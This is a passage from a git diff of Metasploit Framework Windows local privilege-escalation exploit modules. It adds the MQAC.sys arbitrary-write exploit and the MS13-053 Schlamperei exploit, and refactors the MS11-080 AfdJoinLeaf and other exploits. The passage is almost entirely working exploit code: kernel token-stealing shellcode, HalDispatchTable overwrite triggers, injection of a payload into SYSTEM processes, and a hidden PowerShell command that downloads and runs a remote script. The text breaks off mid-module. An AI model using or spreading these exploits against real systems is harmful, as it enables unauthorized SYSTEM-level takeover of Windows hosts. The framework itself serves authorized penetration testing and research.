hostnames", false ]) ]) end @@ -76,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Local # Build a random name for the share and directory share_name = Rex::Text.rand_text_alphanumeric(8) - drive = session.fs.file.expand_path("%SYSTEMDRIVE%") + drive = session.sys.config.getenv('SYSTEMDRIVE') share_dir = "#{drive}\\#{share_name}" # Create them @@ -98,16 +99,27 @@ class Metasploit3 < Msf::Exploit::Local service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}" else - service_executable = cmd_psh_payload(payload.encoded) + service_executable = cmd_psh_payload(payload.encoded, payload_instance.arch.first) end begin - Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server| + if datastore['KERBEROS'] + targets = datastore['RHOSTS'].split(', ').map{ |a| a.split(' ') }.flatten + else + targets = Rex::Socket::RangeWalker.new(datastore["RHOSTS"]) + end + + targets.each do |server| begin print_status("#{server.ljust(16)} Creating service #{name}") - # 3 is Manual startup. Should probably have constants for this junk - service_create(name, display_name, service_executable, 3, server) + service_create(name, + { + :display => display_name, + :path => service_executable, + :starttype=> "START_TYPE_MANUAL" + }, + server) # If everything went well, this will create a session. If not, it # might be permissions issues or possibly we failed to create the diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 4a508caf51..01803bb100 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Local 'License' => MSF_LICENSE, 'Author' => [ - 'Ben Campbell ' + 'Ben Campbell' ], 'Platform' => [ 'win'], 'Targets' => @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Local return false end - if srv_info && srv_info['Name'].empty? + if srv_info && srv_info[:display].empty? print_warning("Service #{service} does not exist.") return false else @@ -78,15 +78,15 @@ class Metasploit3 < Msf::Exploit::Local end def check - srv_info = service_info(@service_name) - if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe end + srv_info = service_info(@service_name) + vprint_status(srv_info.to_s) - case srv_info['Startup'] + case START_TYPE[srv_info[:starttype]] when 'Disabled' vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe @@ -163,15 +163,15 @@ class Metasploit3 < Msf::Exploit::Local def check_dirs print_status("Attempting to create a non-existant PATH dir to use.") - @non_existant_dirs.each do |dir| + @non_existant_dirs.each do |directory| begin - client.fs.dir.mkdir(dir) - if exist?(dir) - register_file_for_cleanup(dir) - return dir + client.fs.dir.mkdir(directory) + if exist?(directory) + register_file_for_cleanup(directory) + return directory end rescue Rex::Post::Meterpreter::RequestError => e - vprint_status("Unable to create dir: #{dir} - #{e}") + vprint_status("Unable to create dir: #{directory} - #{e}") end end @@ -235,17 +235,6 @@ class Metasploit3 < Msf::Exploit::Local service_information = service_info(@service_name) - if service_information['Startup'] == 'Disabled' - print_status("Service is disabled, attempting to enable...") - service_change_startup(@service_name, 'auto') - service_information = service_info(@service_name) - - # Still disabled - if service_information['Startup'] == 'Disabled' - fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") - end - end - # Check architecture dll = generate_payload_dll @@ -265,29 +254,11 @@ class Metasploit3 < Msf::Exploit::Local # Run the service, let the Windows API do the rest # print_status("Launching service #{@service_name}...") - - begin - status = service_start(@service_name) - if status == 1 - print_status("Service already running, attempting to restart...") - if service_stop(@service_name) == 0 - print_status("Service stopped, attempting to start...") - if service_start(@service_name) == 0 - print_status("Service started...") - else - fail_with(Exploit::Failure::Unknown, "Unable to start service.") - end - else - fail_with(Exploit::Failure::Unknown, "Unable to stop service") - end - elsif status == 0 - print_status("Service started...") - end - rescue RuntimeError => e - raise e if e.kind_of? Msf::Exploit::Failed - if service_information['Startup'] == 'Manual' - fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") - else + if service_restart(@service_name) + print_status("Service started...") + else + service_information = service_info(@service_name) + if service_information[:starttype] == START_TYPE_AUTO if job_id print_status("Unable to start service, handler running waiting for a reboot...") while(true) @@ -297,6 +268,8 @@ class Metasploit3 < Msf::Exploit::Local else fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end + else + fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") end end end diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb new file mode 100644 index 0000000000..3826e7c15f --- /dev/null +++ b/modules/exploits/windows/local/mqac_write.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Exploit::Local::WindowsKernel + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation', + 'Description' => %q( + A vulnerability within the MQAC.sys module allows an attacker to + overwrite an arbitrary location in kernel memory. + + This module will elevate itself to SYSTEM, then inject the payload + into another SYSTEM process. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Matt Bergin', # original exploit and all the hard work + 'Spencer McIntyre' # MSF module + ], + 'Arch' => [ARCH_X86], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Targets' => + [ + ['Windows XP SP3', + { + 'HaliQuerySystemInfo' => 0x16bba, + '_KPROCESS' => "\x44", + '_TOKEN' => "\xc8", + '_UPID' => "\x84", + '_APLINKS' => "\x88" + } + ] + ], + 'References' => + [ + ['CVE', '2014-4971'], + ['EDB', '34112'], + ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt'] + ], + 'DisclosureDate' => 'Jul 22 2014', + 'DefaultTarget' => 0 + )) + end + + # Function borrowed from smart_hashdump + def get_system_proc + # Make sure you got the correct SYSTEM Account Name no matter the OS Language + local_sys = resolve_sid('S-1-5-18') + system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}" + + this_pid = session.sys.process.getpid + # Processes that can Blue Screen a host if migrated in to + dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe'] + session.sys.process.processes.each do |p| + # Check we are not migrating to a process that can BSOD the host + next if dangerous_processes.include?(p['name']) + next if p['pid'] == this_pid + next if p['pid'] == 4 + next if p['user'] != system_account_name + return p + end + end + + def check + handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + if handle.nil? + print_error('MSMQ installation not found') + return Exploit::CheckCode::Safe + end + session.railgun.kernel32.CloseHandle(handle) + + os = sysinfo['OS'] + case os + when /windows xp.*service pack 3/i + return Exploit::CheckCode::Appears + when /windows xp/i + print_error('Unsupported version of Windows XP detected') + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + def exploit + if sysinfo['Architecture'] =~ /wow64/i + print_error('Running against WOW64 is not supported') + return + elsif sysinfo['Architecture'] =~ /x64/ + print_error('Running against 64-bit systems is not supported') + return + end + + if is_system? + print_error('This meterpreter session is already running as SYSTEM') + return + end + + # Running on Windows XP versions that aren't listed in the supported list + # results in a BSOD and so we should not let that happen. + return unless check == Exploit::CheckCode::Appears + + base_addr = 0xffff + handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + return if handle.nil? + + this_proc = session.sys.process.open + unless this_proc.memory.writable?(base_addr) + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('V'), nil, + [0xffff].pack('V'), + 'MEM_COMMIT|MEM_RESERVE', + 'PAGE_EXECUTE_READWRITE') + end + unless this_proc.memory.writable?(base_addr) + print_error('Failed to properly allocate memory') + this_proc.close + return + end + + haldispatchtable = find_haldispatchtable + return if haldispatchtable.nil? + print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}") + + vprint_status('Getting the hal.dll base address...') + hal_info = find_sys_base('hal.dll') + fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil? + hal_base = hal_info[0] + vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") + hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] + + restore_ptrs = "\x31\xc0" # xor eax, eax + restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax + + shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target) + + this_proc.memory.write(0x1, shellcode) + this_proc.close + + print_status('Triggering vulnerable IOCTL') + session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, + 1, 0x258, + haldispatchtable + 4, 0) + session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) + + unless is_system? + print_error('Did not get system, exploit failed') + return + end + + proc = get_system_proc + print_status("Injecting the payload into SYSTEM process: #{proc['name']}") + unless execute_shellcode(payload.encoded, nil, proc['pid']) + fail_with(Failure::Unknown, 'Error while executing the payload') + end + end +end diff --git a/modules/exploits/windows/local/ms10_015_kitrap0d.rb b/modules/exploits/windows/local/ms10_015_kitrap0d.rb index 4e86076e8c..e74e24aa3a 100644 --- a/modules/exploits/windows/local/ms10_015_kitrap0d.rb +++ b/modules/exploits/windows/local/ms10_015_kitrap0d.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/ms10_092_schelevator.rb b/modules/exploits/windows/local/ms10_092_schelevator.rb index 8628be003b..024b973948 100644 --- a/modules/exploits/windows/local/ms10_092_schelevator.rb +++ b/modules/exploits/windows/local/ms10_092_schelevator.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Local cmd = datastore["CMD"] || nil upload_fn = nil - tempdir = session.fs.file.expand_path("%TEMP%") + tempdir = session.sys.config.getenv('TEMP') if not cmd # Get the exe payload. exe = generate_payload_exe @@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Local # Create a new task to do our bidding, but make sure it doesn't run. # taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8)) - sysdir = session.fs.file.expand_path("%SystemRoot%") + sysdir = session.sys.config.getenv('SystemRoot') taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}" print_status("Creating task: #{taskname}") diff --git a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb index 636f60f378..662481af63 100644 --- a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb +++ b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb @@ -1,9 +1,10 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local @@ -13,12 +14,14 @@ class Metasploit3 < Msf::Exploit::Local # the system process that it was injected into to die then it's also # possible that the system may become unstable. + include Msf::Exploit::Local::WindowsKernel include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process - def initialize(info={}) + def initialize(info = {}) super(update_info(info, { - 'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation', - 'Description' => %q{ + 'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation', + 'Description' => %q( This module exploits a flaw in the AfdJoinLeaf function of the afd.sys driver to overwrite data in kernel space. An address within the HalDispatchTable is overwritten and when triggered @@ -27,25 +30,24 @@ class Metasploit3 < Msf::Exploit::Local This module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process before restoring it's own token to avoid causing system instability. - }, + ), 'License' => MSF_LICENSE, 'Author' => [ 'Matteo Memelli', # original exploit and all the hard work 'Spencer McIntyre' # MSF module ], - 'Arch' => [ ARCH_X86 ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], + 'Arch' => [ARCH_X86], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, - 'Targets' => + 'Targets' => [ - [ 'Automatic', { } ], - - [ 'Windows XP SP2 / SP3', + ['Automatic', {}], + ['Windows XP SP2 / SP3', { 'HaliQuerySystemInfo' => 0x16bba, 'HalpSetSystemInformation' => 0x19436, @@ -55,8 +57,7 @@ class Metasploit3 < Msf::Exploit::Local '_APLINKS' => "\x88" } ], - - [ 'Windows Server 2003 SP2', + ['Windows Server 2003 SP2', { 'HaliQuerySystemInfo' => 0x1fa1e, 'HalpSetSystemInformation' => 0x21c60, @@ -65,220 +66,156 @@ class Metasploit3 < Msf::Exploit::Local '_UPID' => "\x94", '_APLINKS' => "\x98" } - ], + ] ], - 'References' => + 'References' => [ - [ 'CVE', '2011-2005' ], - [ 'OSVDB', '76232' ], - [ 'EDB', '18176' ], - [ 'MSB', 'MS11-080' ], - [ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ] + %w(CVE 2011-2005), + %w(OSVDB 76232), + %w(EDB 18176), + %w(MSB MS11-080), + %w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/) ], - 'DisclosureDate'=> 'Nov 30 2011', - 'DefaultTarget' => 0 + 'DisclosureDate' => 'Nov 30 2011', + 'DefaultTarget' => 0 })) - - register_options([ - ]) - - end - - def find_sys_base(drvname) - session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]]) - session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]]) - results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) - addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*") - - addresses.each do |address| - results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) - current_drvname = results['lpBaseName'][0..results['return'] - 1] - if drvname == nil - if current_drvname.downcase.include?('krnl') - return [address, current_drvname] - end - elsif drvname == results['lpBaseName'][0..results['return'] - 1] - return [address, current_drvname] - end - end end # Function borrowed from smart_hashdump def get_system_proc # Make sure you got the correct SYSTEM Account Name no matter the OS Language - local_sys = resolve_sid("S-1-5-18") + local_sys = resolve_sid('S-1-5-18') system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}" # Processes that can Blue Screen a host if migrated in to - dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"] + dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe'] session.sys.process.processes.each do |p| # Check we are not migrating to a process that can BSOD the host - next if dangerous_processes.include?(p["name"]) - next if p["pid"] == session.sys.process.getpid - next if p["pid"] == 4 - next if p["user"] != system_account_name + next if dangerous_processes.include?(p['name']) + next if p['pid'] == session.sys.process.getpid + next if p['pid'] == 4 + next if p['user'] != system_account_name return p end end def exploit - if sysinfo["Architecture"] =~ /wow64/i - print_error("Running against WOW64 is not supported") + if sysinfo['Architecture'] =~ /wow64/i + print_error('Running against WOW64 is not supported') return - elsif sysinfo["Architectore"] =~ /x64/ - print_error("Running against 64-bit systems is not supported") + elsif sysinfo['Architecture'] =~ /x64/ + print_error('Running against 64-bit systems is not supported') return end mytarget = target if mytarget.name =~ /Automatic/ - os = sysinfo["OS"] - if os =~ /windows xp/i - mytarget = targets[1] - end - if ((os =~ /2003/) and (os =~ /service pack 2/i)) - mytarget = targets[2] - end - if ((os =~ /\.net server/i) and (os =~ /service pack 2/i)) + os = sysinfo['OS'] + mytarget = targets[1] if os =~ /windows xp/i + mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i) + if (os =~ /\.net server/i) && (os =~ /service pack 2/i) mytarget = targets[2] end if mytarget.name =~ /Automatic/ - print_error("Could not identify the target system, it may not be supported") + print_error('Could not identify the target system, it may not be supported') return end print_status("Running against #{mytarget.name}") end if is_system? - print_error("This meterpreter session is already running as SYSTEM") + print_error('This meterpreter session is already running as SYSTE') return end this_proc = session.sys.process.open - kernel_info = find_sys_base(nil) base_addr = 0x1001 - print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}") - result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0) + result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0) socket = result['return'] irpstuff = rand_text_alpha(8) irpstuff << "\x00\x00\x00\x00" irpstuff << rand_text_alpha(4) irpstuff << "\x01\x00\x00\x00" - irpstuff << "\xe8\x00" + "4" + "\xf0\x00" + irpstuff << "\xe8\x00\x34\xf0\x00" irpstuff << rand_text_alpha(231) - if not this_proc.memory.writable?(0x1000) - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE") + unless this_proc.memory.writable?(0x1000) + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [base_addr].pack('V'), nil, [0x1000].pack('V'), 'MEM_COMMIT | MEM_RESERVE', 'PAGE_EXECUTE_READWRITE') end - if not this_proc.memory.writable?(0x1000) + unless this_proc.memory.writable?(0x1000) print_error('Failed to properly allocate memory') return end this_proc.memory.write(0x1000, irpstuff) - hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) - hKernel = hKernel['return'] - halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable") - halDispatchTable = halDispatchTable['return'] - halDispatchTable -= hKernel - halDispatchTable += kernel_info[0] - print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}") + haldispatchtable = find_haldispatchtable + return if haldispatchtable.nil? - halbase = find_sys_base("hal.dll")[0] - haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo'] - halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation'] - print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}") - print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}") + halbase = find_sys_base('hal.dll')[0] + hal_iquerysysteminformation = halbase + mytarget['HaliQuerySystemInfo'] + hal_psetsysteminformation = halbase + mytarget['HalpSetSystemInformation'] + print_status("HaliQuerySystemInformation Address: 0x#{hal_iquerysysteminformation.to_s(16).rjust(8, '0')}") + print_status("HalpSetSystemInformation Address: 0x#{hal_psetsysteminformation.to_s(16).rjust(8, '0')}") #### Exploitation #### - shellcode_address_dep = 0x0002071e + shellcode_address_dep = 0x0002071e shellcode_address_nodep = 0x000207b8 - padding = make_nops(2) - halDispatchTable0x4 = halDispatchTable + 0x4 - halDispatchTable0x8 = halDispatchTable + 0x8 + padding = make_nops(2) + backup_token = 0x20900 restore_ptrs = "\x31\xc0" - restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L") - restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L") - restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L") - restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L") - - tokenstealing = "\x52" - tokenstealing << "\x53" - tokenstealing << "\x33\xc0" - tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" - tokenstealing << "\x8b\x40" + mytarget['_KPROCESS'] - tokenstealing << "\x8b\xc8" - tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00" - tokenstealing << "\x89\x1d\x00\x09\x02\x00" - tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00" - tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00" - tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" - tokenstealing << "\x75\xe8" - tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00" - tokenstealing << "\x8b\xc1" - tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00" - tokenstealing << "\x5b" - tokenstealing << "\x5a" - tokenstealing << "\xc2\x10" + restore_ptrs << "\xb8" + [hal_psetsysteminformation].pack('V') + restore_ptrs << "\xa3" + [haldispatchtable + 8].pack('V') + restore_ptrs << "\xb8" + [hal_iquerysysteminformation].pack('V') + restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') restore_token = "\x52" restore_token << "\x33\xc0" restore_token << "\x64\x8b\x80\x24\x01\x00\x00" restore_token << "\x8b\x40" + mytarget['_KPROCESS'] - restore_token << "\x8b\x15\x00\x09\x02\x00" + restore_token << "\x8b\x15" + [backup_token].pack('V') restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00" restore_token << "\x5a" restore_token << "\xc2\x10" - shellcode = padding + restore_ptrs + tokenstealing + shellcode = padding + restore_ptrs + token_stealing_shellcode(mytarget, backup_token) this_proc.memory.write(shellcode_address_dep, shellcode) this_proc.memory.write(shellcode_address_nodep, shellcode) this_proc.memory.protect(0x00020000) - addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!") + addr = [2, 4455, 0x7f000001, 0, 0].pack('vvVVV') result = session.railgun.ws2_32.connect(socket, addr, addr.length) if result['return'] != 0xffffffff - print_error("The socket is not in the correct state") + print_error('The socket is not in the correct state') return end - print_status("Triggering AFDJoinLeaf pointer overwrite...") - result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0) - result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) + print_status('Triggering AFDJoinLeaf pointer overwrite...') + session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0) + session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) - if not is_system? - print_error("Exploit failed") + unless is_system? + print_error('Exploit failed') return end - begin - proc = get_system_proc - print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}") - host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS) - mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024)) - - print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}") - host_process.memory.write(mem, payload.encoded) - host_process.thread.create(mem, 0) - rescue ::Exception => e - print_error("Failed to Inject Payload") - print_error(e.to_s) + proc = get_system_proc + print_status("Injecting the payload into SYSTEM process: #{proc['name']}") + unless execute_shellcode(payload.encoded, nil, proc['pid']) + print_error('An error occurred while executing the payload') end # Restore the token because apparently BSODs are frowned upon - print_status("Restoring the original token...") + print_status('Restoring the original token...') shellcode = padding + restore_ptrs + restore_token this_proc.memory.write(shellcode_address_dep, shellcode) this_proc.memory.write(shellcode_address_nodep, shellcode) - result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0) - result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) + session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0) + session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) end - end diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb index 92f2e46e3c..8729306125 100644 --- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb +++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Local [ 'Tavis Ormandy', # Discovery 'Axel Souchet', # @0vercl0k POC - 'Ben Campbell ' # Metasploit module + 'Ben Campbell' # Metasploit module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], @@ -51,7 +51,11 @@ class Metasploit3 < Msf::Exploit::Local [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, - 'DisclosureDate'=> "Nov 27 2012", + 'DefaultOptions' => + { + 'WfsDelay' => 40, + }, + 'DisclosureDate' => "Nov 27 2012", 'References' => [ [ 'CVE', '2013-0008' ], @@ -72,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Local end def low_integrity_level? - tmp_dir = expand_path("%USERPROFILE%") + tmp_dir = session.sys.config.getenv('USERPROFILE') cd(tmp_dir) new_dir = "#{rand_text_alpha(5)}" begin @@ -133,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Local if datastore['TECHNIQUE'] == 'FILE' payload_file = "#{rand_text_alpha(5+rand(3))}.exe" begin - tmp_dir = expand_path("%TEMP%") + tmp_dir = session.sys.config.getenv('TEMP') tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i cd(tmp_dir) print_status("Trying to drop payload to #{tmp_dir}...") @@ -160,7 +164,7 @@ class Metasploit3 < Msf::Exploit::Local command = datastore['CUSTOM_COMMAND'] else print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload") - command = cmd_psh_payload(payload.encoded) + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) end make_it(command) else @@ -171,7 +175,11 @@ class Metasploit3 < Msf::Exploit::Local def primer url = get_uri() download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" - command = "powershell.exe -w hidden -nop -c #{download_and_run}" + command = generate_psh_command_line({ + :noprofile => true, + :windowstyle => 'hidden', + :command => download_and_run + }) make_it(command) end @@ -186,7 +194,7 @@ class Metasploit3 < Msf::Exploit::Local # Spawn low integrity cmd.exe print_status("Spawning Low Integrity Cmd Prompt") - windir = client.fs.file.expand_path("%windir%") + windir = session.sys.config.getenv('windir') li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid count = count_cmd_procs diff --git a/modules/exploits/windows/local/ms13_053_schlamperei.rb b/modules/exploits/windows/local/ms13_053_schlamperei.rb new file mode 100644 index 0000000000..edf48438a3 --- /dev/null +++ b/modules/exploits/windows/local/ms13_053_schlamperei.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)', + 'Description' => %q{ + This module leverages a kernel pool overflow in Win32k which allows local privilege escalation. + The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process). + This allows any unprivileged process to freely migrate to winlogon.exe, achieving + privilege escalation. This exploit was used in pwn2own 2013 by MWR to break out of chrome's sandbox. + NOTE: when a meterpreter session started by this exploit exits, winlogin.exe is likely to crash. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Nils', #Original Exploit + 'Jon', #Original Exploit + 'Donato Capitella ', # Metasploit Conversion + 'Ben Campbell ' # Help and Encouragement ;) + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + [ 'Windows 7 SP0/SP1', { } ] + ], + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + [ 'CVE', '2013-1300' ], + [ 'MSB', 'MS13-053' ], + [ 'URL', 'https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/' ] + ], + 'DisclosureDate' => 'Dec 01 2013', + 'DefaultTarget' => 0 + })) + end + + def check + os = sysinfo["OS"] + unless (os =~ /windows/i) + return Exploit::CheckCode::Unknown + end + + file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + major, minor, build, revision, branch = file_version(file_path) + vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + case build + when 7600 + return Exploit::CheckCode::Vulnerable + when 7601 + if branch == 18 + return Exploit::CheckCode::Vulnerable if revision < 18176 + else + return Exploit::CheckCode::Vulnerable if revision < 22348 + end + end + return Exploit::CheckCode::Unknown + end + + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if 